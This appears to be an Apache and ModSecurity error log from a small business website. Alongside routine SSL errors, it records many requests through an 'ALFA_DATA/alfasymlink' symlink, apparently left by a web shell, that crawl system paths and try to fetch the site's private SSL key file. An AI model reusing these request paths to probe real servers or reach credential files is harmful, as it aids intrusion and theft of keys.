[Sun Oct 25 00:35:02.235504 2026] [ssl:error] [pid 2762145:tid 2762145] (5)Input/output error: [client 34.199.252.22:56111] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:35:06.217219 2026] [ssl:error] [pid 2759074:tid 2759074] (70014)End of file found: [client 54.210.155.69:43660] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:35:06.519634 2026] [ssl:error] [pid 2762188:tid 2762188] (70014)End of file found: [client 85.208.96.199:53806] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:35:30.369748 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 3.210.223.61:52672] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:35:54.216055 2026] [ssl:error] [pid 2762182:tid 2762182] (70014)End of file found: [client 23.21.250.48:50748] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:35:58.835813 2026] [core:error] [pid 2762145:tid 2762145] (13)Permission denied: [client 185.191.171.14:52728] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Operand/trace
[Sun Oct 25 00:36:02.269520 2026] [ssl:error] [pid 2762190:tid 2762190] (70014)End of file found: [client 34.233.219.155:42192] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:36:10.526111 2026] [ssl:error] [pid 2762149:tid 2762149] (5)Input/output error: [client 3.230.224.6:63236] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:36:22.015955 2026] [core:error] [pid 2759096:tid 2759096] (13)Permission denied: [client 3.225.45.252:41237] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/tty63/subsystem/ttyS3/flags
[Sun Oct 25 00:36:22.274903 2026] [ssl:error] [pid 2762199:tid 2762199] (70014)End of file found: [client 98.82.40.168:44934] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:36:34.226103 2026] [ssl:error] [pid 2762149:tid 2762149] (70014)End of file found: [client 52.3.102.51:54277] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:36:38.709045 2026] [core:error] [pid 2762183:tid 2762183] (13)Permission denied: [client 185.191.171.18:24634] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_struct/objs_per_slab
[Sun Oct 25 00:36:42.227040 2026] [core:error] [pid 2762182:tid 2762182] (13)Permission denied: [client 34.196.6.199:7048] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/tty/tty4/subsystem/ptmx/subsystem/ttyS1/device/tty/ttyS2/uartclk
[Sun Oct 25 00:36:46.217202 2026] [ssl:error] [pid 2762199:tid 2762199] (70014)End of file found: [client 52.44.148.203:55777] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:36:50.380977 2026] [ssl:error] [pid 2759096:tid 2759096] (70014)End of file found: [client 52.5.232.250:41331] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:36:51.582486 2026] [ssl:error] [pid 2759074:tid 2759074] (70014)End of file found: [client 85.208.96.209:63732] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:36:54.230928 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 54.91.122.193:29529] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:37:02.228931 2026] [core:error] [pid 2762190:tid 2762190] (13)Permission denied: [client 44.193.102.198:52671] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/bus/cpu/devices/cpu0/node0/memory4/node0/cpu1/subsystem/drivers/processor/uevent
[Sun Oct 25 00:37:06.368761 2026] [ssl:error] [pid 2762183:tid 2762183] (70014)End of file found: [client 98.82.38.120:33136] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:37:18.222581 2026] [ssl:error] [pid 2759096:tid 2759096] (70014)End of file found: [client 52.205.141.124:18330] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:37:26.293212 2026] [core:error] [pid 2762188:tid 2762188] (13)Permission denied: [client 3.221.222.168:34336] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory7/node0/memory23/subsystem/devices/memory6/node0/cpu0/firmware_node/physical_node/crash_notes
[Sun Oct 25 00:37:30.286902 2026] [ssl:error] [pid 2762190:tid 2762190] (70014)End of file found: [client 52.4.238.8:44509] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:37:50.430855 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 52.45.15.233:16176] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:37:54.225125 2026] [core:error] [pid 2762183:tid 2762183] (13)Permission denied: [client 34.227.156.153:3780] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:19/subsystem/devices/device:05/physical_node/driver/bind
[Sun Oct 25 00:37:58.245846 2026] [ssl:error] [pid 2762182:tid 2762182] (70014)End of file found: [client 34.236.41.241:23102] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:38:06.589495 2026] [ssl:error] [pid 2762188:tid 2762188] (70014)End of file found: [client 107.23.62.75:22696] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:38:14.360696 2026] [ssl:error] [pid 2762182:tid 2762182] (70014)End of file found: [client 35.173.18.61:7194] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:38:18.367544 2026] [core:error] [pid 2762199:tid 2762199] (13)Permission denied: [client 52.0.63.151:64775] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:17/subsystem/devices/device:03/physical_node/driver/0000:00:02.0/rescan
[Sun Oct 25 00:38:22.443952 2026] [ssl:error] [pid 2759096:tid 2759096] (70014)End of file found: [client 44.193.102.198:17052] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:38:26.832858 2026] [core:error] [pid 2759074:tid 2759074] (13)Permission denied: [client 85.208.96.193:52742] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/MPTCPv6/partial
[Sun Oct 25 00:38:29.497648 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 34.196.114.170:2903] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:38:30.223920 2026] [ssl:error] [pid 2762188:tid 2762188] (70014)End of file found: [client 34.231.156.59:19181] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:38:34.241909 2026] [core:error] [pid 2762190:tid 2762190] (13)Permission denied: [client 44.223.116.149:57484] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:05/wakeup/wakeup5/device/physical_node/driver/0000:00:03.0/subsystem/drivers/Cavium PTP Driver/bind
[Sun Oct 25 00:38:38.498120 2026] [ssl:error] [pid 2762149:tid 2762149] (70014)End of file found: [client 54.166.126.132:17272] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:38:42.252735 2026] [ssl:error] [pid 2759057:tid 2759057] (70014)End of file found: [client 18.214.138.148:28757] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:38:58.329648 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 35.173.18.61:19891] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:38:58.329858 2026] [security2:error] [pid 2762145:tid 2762145] [client 35.173.18.61:19891] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mouse1/device/event3/subsystem/input1/device/firmware_node/physical_node/firmware_node/physical_node1/power/wakeup_active"] [unique_id "at2H4lTnwNJm6o1fQZIgJQAAAAI"]
[Sun Oct 25 00:38:58.329895 2026] [security2:error] [pid 2762145:tid 2762145] [client 35.173.18.61:19891] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mouse1/device/event3/subsystem/input1/device/firmware_node/physical_node/firmware_node/physical_node1/power/wakeup_active"] [unique_id "at2H4lTnwNJm6o1fQZIgJQAAAAI"]
[Sun Oct 25 00:39:06.230136 2026] [ssl:error] [pid 2762190:tid 2762190] (70014)End of file found: [client 52.70.123.241:23254] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:39:06.603700 2026] [core:error] [pid 2762149:tid 2762149] (13)Permission denied: [client 85.208.96.195:36438] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/virtio_net/sections/__verbose
[Sun Oct 25 00:39:10.387770 2026] [ssl:error] [pid 2759057:tid 2759057] (70014)End of file found: [client 3.210.114.189:6784] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:39:14.385413 2026] [ssl:error] [pid 2762183:tid 2762183] (70014)End of file found: [client 100.29.107.38:11605] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:39:22.239876 2026] [core:error] [pid 2759074:tid 2759074] (13)Permission denied: [client 100.27.153.9:14407] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/physical_node/subsystem/drivers/virtio-pci/module/uevent
[Sun Oct 25 00:39:26.260807 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 54.225.181.161:8356] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:39:30.368433 2026] [ssl:error] [pid 2762190:tid 2762190] (70014)End of file found: [client 34.199.252.22:47820] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:39:35.947749 2026] [ssl:error] [pid 2762149:tid 2762149] (70014)End of file found: [client 3.223.134.5:12565] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:39:38.374066 2026] [ssl:error] [pid 2759057:tid 2759057] (70014)End of file found: [client 54.89.90.224:4472] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:39:42.260238 2026] [ssl:error] [pid 2762183:tid 2762183] (70014)End of file found: [client 18.213.27.222:64256] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:39:45.924417 2026] [core:error] [pid 2762199:tid 2762199] (13)Permission denied: [client 185.191.171.13:29664] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_struct/remote_node_defrag_ratio
[Sun Oct 25 00:39:46.249706 2026] [core:error] [pid 2759096:tid 2759096] (13)Permission denied: [client 23.23.212.212:59453] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/subsystem/drivers/virtio-pci/0000:00:05.0/resource0
[Sun Oct 25 00:39:50.260395 2026] [ssl:error] [pid 2759074:tid 2759074] (70014)End of file found: [client 44.195.145.102:14607] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:39:58.285883 2026] [ssl:error] [pid 2762190:tid 2762190] (70014)End of file found: [client 44.195.50.71:38763] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:40:02.354542 2026] [ssl:error] [pid 2762183:tid 2762183] (70014)End of file found: [client 107.20.25.33:8656] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:40:06.257341 2026] [core:error] [pid 2762182:tid 2762182] (13)Permission denied: [client 3.221.50.71:23604] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:06/physical_node/driver/0000:00:04.0/rescan
[Sun Oct 25 00:40:10.277955 2026] [ssl:error] [pid 2759074:tid 2759074] (70014)End of file found: [client 18.210.58.238:44913] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:40:12.130346 2026] [core:error] [pid 2762145:tid 2762145] (13)Permission denied: [client 85.208.96.205:16688] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/key_jar/store_user
[Sun Oct 25 00:40:18.633121 2026] [ssl:error] [pid 2762149:tid 2762149] (70014)End of file found: [client 34.206.249.188:54460] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:40:22.378735 2026] [ssl:error] [pid 2759057:tid 2759057] (70014)End of file found: [client 52.203.237.170:34714] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:40:26.249373 2026] [ssl:error] [pid 2762199:tid 2762199] (70014)End of file found: [client 52.4.213.199:41350] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:40:26.295392 2026] [core:error] [pid 2762182:tid 2762182] (13)Permission denied: [client 185.191.171.10:17922] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_handle/store_user
[Sun Oct 25 00:40:30.538961 2026] [ssl:error] [pid 2759096:tid 2759096] (70014)End of file found: [client 34.227.234.246:52264] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:40:34.237802 2026] [ssl:error] [pid 2759074:tid 2759074] (70014)End of file found: [client 44.217.177.142:24382] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:40:38.266798 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 44.209.35.147:45305] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:40:45.956391 2026] [security2:error] [pid 2762149:tid 2762149] [client 85.208.96.206:11732] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/magento17/php82/import.php"] [unique_id "at2ITTuLxR3FUbX6v9XEPgAAAAc"]
[Sun Oct 25 00:40:45.956431 2026] [security2:error] [pid 2762149:tid 2762149] [client 85.208.96.206:11732] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/magento17/php82/import.php"] [unique_id "at2ITTuLxR3FUbX6v9XEPgAAAAc"]
[Sun Oct 25 00:40:46.306739 2026] [ssl:error] [pid 2759057:tid 2759057] (70014)End of file found: [client 54.197.82.195:34230] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:40:58.411570 2026] [ssl:error] [pid 2759096:tid 2759096] (5)Input/output error: [client 54.157.84.74:34102] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:41:02.390912 2026] [ssl:error] [pid 2759074:tid 2759074] (70014)End of file found: [client 54.147.80.137:33463] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:41:06.240437 2026] [ssl:error] [pid 2762188:tid 2762188] (70014)End of file found: [client 52.45.92.83:54956] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:41:10.503939 2026] [ssl:error] [pid 2762149:tid 2762149] (70014)End of file found: [client 23.23.104.107:12602] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:41:14.446146 2026] [ssl:error] [pid 2759057:tid 2759057] (70014)End of file found: [client 98.83.8.142:44966] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:41:38.338519 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 52.45.15.233:36015] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:41:50.249978 2026] [core:error] [pid 2762149:tid 2762149] (13)Permission denied: [client 35.153.86.200:50280] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:05/subsystem/devices/device:06/physical_node/driver/0000:00:04.0/resource4_wc
[Sun Oct 25 00:41:54.287267 2026] [ssl:error] [pid 2762183:tid 2762183] (70014)End of file found: [client 18.232.11.247:16865] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:42:02.245160 2026] [ssl:error] [pid 2762182:tid 2762182] (70014)End of file found: [client 3.221.50.71:44433] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:42:08.867856 2026] [core:error] [pid 2759074:tid 2759074] (13)Permission denied: [client 85.208.96.212:40964] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/anon_vma_chain/hwcache_align
[Sun Oct 25 00:42:14.359618 2026] [ssl:error] [pid 2762190:tid 2762190] (70014)End of file found: [client 54.87.62.248:5853] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:42:18.222209 2026] [ssl:error] [pid 2762149:tid 2762149] (70014)End of file found: [client 54.84.250.51:23053] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:42:22.404249 2026] [core:error] [pid 2759057:tid 2759057] (13)Permission denied: [client 54.85.109.140:46248] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:06/physical_node/driver/0000:00:04.0/resource0
[Sun Oct 25 00:42:30.343996 2026] [ssl:error] [pid 2762199:tid 2762199] (70014)End of file found: [client 3.227.180.70:48306] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:42:42.251451 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 52.200.93.170:48660] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:42:46.958266 2026] [ssl:error] [pid 2762188:tid 2762188] (70014)End of file found: [client 18.206.47.187:12356] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:42:51.681583 2026] [security2:error] [pid 2762149:tid 2762149] [client 43.167.241.46:48418] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/class.phpmailer.php"] [unique_id "at2IyzuLxR3FUbX6v9XEQgAAAAc"]
[Sun Oct 25 00:42:58.697980 2026] [security2:error] [pid 2762182:tid 2762182] [client 185.191.171.4:25966] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/e1350_5fd2d_f91ad45314f93af1f89c5d69d4f40081.key"] [unique_id "at2I0rCux6YzXC46yX1OdQAAACY"]
[Sun Oct 25 00:42:58.698336 2026] [security2:error] [pid 2762182:tid 2762182] [client 185.191.171.4:25966] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/e1350_5fd2d_f91ad45314f93af1f89c5d69d4f40081.key"] [unique_id "at2I0rCux6YzXC46yX1OdQAAACY"]
[Sun Oct 25 00:42:58.698632 2026] [security2:error] [pid 2762182:tid 2762182] [client 185.191.171.4:25966] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/e1350_5fd2d_f91ad45314f93af1f89c5d69d4f40081.key"] [unique_id "at2I0rCux6YzXC46yX1OdQAAACY"]
[Sun Oct 25 00:43:02.259283 2026] [ssl:error] [pid 2759096:tid 2759096] (70014)End of file found: [client 54.144.185.255:42149] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:43:06.250183 2026] [ssl:error] [pid 2759074:tid 2759074] (70014)End of file found: [client 23.23.103.31:61311] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:43:14.479018 2026] [ssl:error] [pid 2762188:tid 2762188] (70014)End of file found: [client 18.207.89.138:6019] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:43:18.508082 2026] [ssl:error] [pid 2759057:tid 2759057] (70014)End of file found: [client 34.234.197.175:33945] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:43:22.251561 2026] [ssl:error] [pid 2762183:tid 2762183] (70014)End of file found: [client 98.82.38.120:43808] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:43:26.334051 2026] [ssl:error] [pid 2762199:tid 2762199] (70014)End of file found: [client 34.224.132.215:31487] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:43:31.622391 2026] [ssl:error] [pid 2762182:tid 2762182] (5)Input/output error: [client 54.156.55.147:19339] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:43:34.272550 2026] [core:error] [pid 2759096:tid 2759096] (13)Permission denied: [client 3.81.253.213:61787] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/PNP0A03:00/device:02/physical_node/rescan
[Sun Oct 25 00:43:42.523340 2026] [ssl:error] [pid 2762190:tid 2762190] (70014)End of file found: [client 18.214.186.220:11149] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:43:54.359492 2026] [ssl:error] [pid 2762182:tid 2762182] (70014)End of file found: [client 44.207.69.106:8379] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:43:58.310723 2026] [ssl:error] [pid 2759074:tid 2759074] (70014)End of file found: [client 52.203.237.170:42871] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:44:06.652428 2026] [ssl:error] [pid 2762188:tid 2762188] (5)Input/output error: [client 98.84.131.195:25501] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:44:14.375355 2026] [ssl:error] [pid 2759057:tid 2759057] (70014)End of file found: [client 54.83.180.239:55803] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:44:18.564185 2026] [ssl:error] [pid 2762199:tid 2762199] (70014)End of file found: [client 52.4.229.9:41167] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:44:19.729571 2026] [core:error] [pid 2762182:tid 2762182] (13)Permission denied: [client 85.208.96.199:33890] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/uhci_urb_priv/cpu_partial
[Sun Oct 25 00:44:24.385938 2026] [core:error] [pid 2759096:tid 2759096] (13)Permission denied: [client 185.191.171.14:51664] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/cred_jar/shrink
[Sun Oct 25 00:44:26.432445 2026] [ssl:error] [pid 2762145:tid 2762145] (5)Input/output error: [client 3.222.190.107:29861] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:44:34.516870 2026] [ssl:error] [pid 2762190:tid 2762190] (70014)End of file found: [client 44.212.106.171:21612] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:44:36.487984 2026] [ssl:error] [pid 2759057:tid 2759057] (70014)End of file found: [client 52.202.233.37:41105] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:44:38.285000 2026] [ssl:error] [pid 2762183:tid 2762183] (70014)End of file found: [client 23.23.103.31:6098] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:44:50.306381 2026] [ssl:error] [pid 2759074:tid 2759074] (5)Input/output error: [client 3.227.180.70:51097] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:44:58.987864 2026] [ssl:error] [pid 2762188:tid 2762188] (70014)End of file found: [client 52.5.242.243:16154] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:45:02.328548 2026] [ssl:error] [pid 2762149:tid 2762149] (70014)End of file found: [client 44.216.172.204:28675] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:45:06.593691 2026] [ssl:error] [pid 2759057:tid 2759057] (70014)End of file found: [client 52.0.105.244:58605] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:45:10.761229 2026] [security2:error] [pid 2762199:tid 2762199] [client 34.235.239.240:35152] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/firmware_node/device:11/subsystem/devices/PNP0B00:00/physical_node/cmos_nvram0/"] [unique_id "at2JVhzh2uHYztX7tG5lqAAAADw"]
[Sun Oct 25 00:45:10.761282 2026] [security2:error] [pid 2762199:tid 2762199] [client 34.235.239.240:35152] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/firmware_node/device:11/subsystem/devices/PNP0B00:00/physical_node/cmos_nvram0/"] [unique_id "at2JVhzh2uHYztX7tG5lqAAAADw"]
[Sun Oct 25 00:45:15.032119 2026] [ssl:error] [pid 2759096:tid 2759096] (70014)End of file found: [client 184.73.35.182:24520] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:45:18.318657 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 54.147.182.90:18231] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:45:22.406940 2026] [ssl:error] [pid 2762188:tid 2762188] (70014)End of file found: [client 54.235.125.129:34550] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:45:26.390111 2026] [ssl:error] [pid 2762190:tid 2762190] (70014)End of file found: [client 34.196.237.236:34106] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:45:30.454427 2026] [ssl:error] [pid 2762149:tid 2762149] (70014)End of file found: [client 18.210.58.238:26304] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:45:50.354378 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 34.194.165.45:53230] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:45:58.360819 2026] [ssl:error] [pid 2762190:tid 2762190] (70014)End of file found: [client 34.204.150.196:5292] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:46:06.376855 2026] [core:error] [pid 2759057:tid 2759057] (13)Permission denied: [client 52.205.222.214:16436] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory1/node0/cpu0/driver/unbind
[Sun Oct 25 00:46:14.444769 2026] [ssl:error] [pid 2759074:tid 2759074] (70014)End of file found: [client 54.243.63.52:33320] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:46:18.643633 2026] [ssl:error] [pid 2759096:tid 2759096] (70014)End of file found: [client 44.214.19.8:19898] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 00:46:26.365613 2026] [ssl:error] [pid 2762188:tid 2762188] (70014)End of file found: [client 44.210.204.255:37777] AH02013: coalesce failed to read from data bucket
